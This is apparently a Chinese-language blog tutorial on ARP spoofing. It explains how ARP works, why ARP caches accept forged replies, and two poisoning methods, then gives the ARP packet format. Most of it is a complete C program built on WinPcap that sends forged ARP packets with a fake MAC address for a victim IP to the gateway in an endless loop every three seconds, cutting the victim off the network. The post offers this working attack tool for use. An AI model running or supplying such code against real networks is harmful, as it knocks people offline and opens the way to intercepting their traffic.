什么是ARP?
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
为什么它会很容易攻击?
地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,无论这个主机有没有REQUEST或是已经收到了REPLY,当再有REPLY来的时候,它都会记下这个REPLY中的信息,并更新自己的ARP缓存。同样,也只要是有主机发送ARP REQUEST,他就会记下这个信息,并更新自己的ARP缓存。
欺骗的方式
所以一般的ARP可以有两种攻击方式:
- 伪造成被攻击主机,向网关发送伪造的MAC地址,告诉网关被攻击的主机的MAC地址变更了,网关接收到Request后就会Reply,并且更新自己的ARP缓存。
- 伪造成网关,向某个主机发送Reply,主机接收到之后就会知道网关的MAC地址变更了。然后更新自己的ARP缓存,然后迷失在假的世界里~
第一种方式
在第一种方式中网关的ARP缓存是错误的,当外部网络传入一个包时,网关会根据ARP缓存查询存放在数据包头部的目的IP所对应的MAC地址。当然我们这里的IP地址是真的,但是根据ARP缓存查询到MAC地址是假的..结果就出事了,网关会将这个包转发到这个假的MAC地址的设备上了(不管这个设备存不存在),从而导致这个被攻击的主机接受不到数据包(也就是没网了)。
举个例子
:
主机A被攻击了,当外界一个包传入时。
网关:”我先来看看包的头部,这个IP对应的是主机A,好。我再来看看ARP缓存表,它在AA-AA-AA-AA-AA-AA(假的)”。
然后网关就把包转发给了AA-AA-AA-AA-AA-AA,而不是真正的主机A。
第二种方式
在我们第二种方式的欺诈中,被攻击的主机ARP缓存中的网关MAC地址是错误的。所以当这个主机要向外部网络发送数据包的时候,根据ARP缓存查询到了网关的MAC地址,并填了上去。在网关接收到这个包之后,一看这个MAC地址,不是给它的,就顺手转发了出去。
举个例子
:
主机A被攻击了,当它要向外网传出一个包是时。
它把假的MAC地址填了上去,等到了网关那里。
网关:”这个MAC不是我的地址,我来转发出去”。然后A的数据包就迷失在了茫茫的内网中。
攻击的实现
首先你要去欺骗主机或者网关,必须要让它们相信你说的是真的,也就是你发送的欺骗报文包是要符合标准的格式的。
ARP报文的格式
- 硬件类型:表示硬件地址的类型。它的值为1表示以太网地址;
- 协议类型:表示要映射的协议地址类型。它的值为0x0800即表示IP地址。
- 硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
- 操作类型(OP):1表示ARP请求,2表示ARP应答。
- 发送端MAC地址:发送方设备的硬件地址。
- 发送端IP地址:发送方设备的IP地址。
- 目标MAC地址:接收方设备的硬件地址。
- 目标IP地址:接收方设备的IP地址。
code
这个代码使用的是第一种方法。
调用了ws2_32和wpcap库。
改天我还会用Python重写一个ARP欺诈程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| #include <memory> #include <pcap.h> #define ETH_ADDRESS_LENGTH 0x06 #define ETH_PROTO_ARP 0x806 #define ETH_TRAILER_LENGTH 0x12 #define IPV4_LENGTH 0x11 #define MAX_ADAPTER_NAME_LENGTH 256 #define MAX_ADAPTER_DESCRIPTION_LENGTH 128 #define MAX_ADAPTER_ADDRESS_LENGTH 8 #define ADAPTER_INDEX 1 #define ARP_PING_SEND_BUFFER_LENGTH 512 #define ARP_PING_WAIT_TIME 5000 bool arp_attack_init(void); bool arp_attack(void); void arp_attack_clean(void); #pragma comment (lib,"wpcap.lib") #pragma comment (lib,"ws2_32") #pragma pack(1) static pcap_t* adapter=NULL; static char gateway_ip[0x11]= "192.168.2.1"; //gateway_IP static char fake_mac[6]={0xaa,0xbb,0xcc,0xdd,0xdd,0xff};//fake_MAC static char attack_ip[0x11];//attack_ip typedef struct { unsigned char dest[ETH_ADDRESS_LENGTH]; unsigned char source[ETH_ADDRESS_LENGTH]; unsigned short proto; } eth,*point_eth; typedef struct { USHORT arp_hrd; USHORT arp_pro; UCHAR arp_hln; UCHAR arp_pln; USHORT arp_op; UCHAR arp_sha[6]; ULONG arp_spa; UCHAR arp_tha[6]; ULONG arp_tpa; } arp,*point_arp; #pragma pack(4) bool arp_attack_init(void) { char buffer[64]={0}; pcap_if_t *devsin; pcap_if_t *d; int i=0; char errorbuf[PCAP_ERRBUF_SIZE]={0}; if (pcap_findalldevs(&devsin, errorbuf) == -1) return false; for(d=devsin, i=0; i< ADAPTER_INDEX-1 ;d=d->next, i++); if ((adapter= pcap_open_live(d->name, 65536, 1,1000, errorbuf )) == NULL) return false; return true; } void arp_attack_clean(void) { pcap_close(adapter); } bool arp_attack() { char send_packet[ARP_PING_SEND_BUFFER_LENGTH]={0}; point_eth peth=(point_eth)send_packet; peth->dest[0]=0xFF; //Broadcast peth->dest[1]=0xFF; peth->dest[2]=0xFF; peth->dest[3]=0xFF; peth->dest[4]=0xFF; peth->dest[5]=0xFF; memcpy(&peth->source,fake_mac,ETH_ADDRESS_LENGTH); peth->proto=htons(ETH_PROTO_ARP); point_arp parp=(point_arp)(send_packet+sizeof(eth)); parp->arp_hrd=htons(0x0001); parp->arp_pro=htons(0x0800); parp->arp_hln=0x6; parp->arp_pln=0x4; parp->arp_op=htons(0x0001); memcpy(&parp->arp_sha,fake_mac,ETH_ADDRESS_LENGTH); parp->arp_spa=inet_addr(attack_ip); parp->arp_tha[0]=0xFF; parp->arp_tha[1]=0xFF; parp->arp_tha[2]=0xFF; parp->arp_tha[3]=0xFF; parp->arp_tha[4]=0xFF; parp->arp_tha[5]=0xFF; parp->arp_tpa=inet_addr(gateway_ip); //gateway_ip char* eth_trailer=(char*)(send_packet+sizeof(eth)+sizeof(arp)); for (int i=0;i<ETH_TRAILER_LENGTH;++i,++eth_trailer) *eth_trailer=0x11; pcap_sendpacket(adapter,(const unsigned char *)send_packet,42); DWORD old_tick=GetTickCount(); DWORD new_tick=old_tick; do { pcap_pkthdr* header=NULL; unsigned char* data=NULL; int return_code=pcap_next_ex(adapter,&header,(const unsigned char**)&data); if (-1==return_code || 0==return_code) continue; parp=(point_arp)(data+sizeof(eth)); if (parp->arp_spa==inet_addr(gateway_ip)) { printf("Attack Success!!Continue.....\n");//can use for update gateway_ip return true; } new_tick=GetTickCount(); } while ((new_tick-old_tick)<=ARP_PING_WAIT_TIME); printf("Failed!"); return false; } int main(void) { DWORD timedelay=3000; printf("Input The Attack IP:"); arp_attack_init(); scanf("%s",attack_ip); arp_attack(); DWORD old_tick=GetTickCount(); while(1) { DWORD new_tick=GetTickCount(); if ((new_tick-old_tick)>timedelay) { arp_attack(); old_tick=GetTickCount(); } } arp_attack_clean(); }
|
效果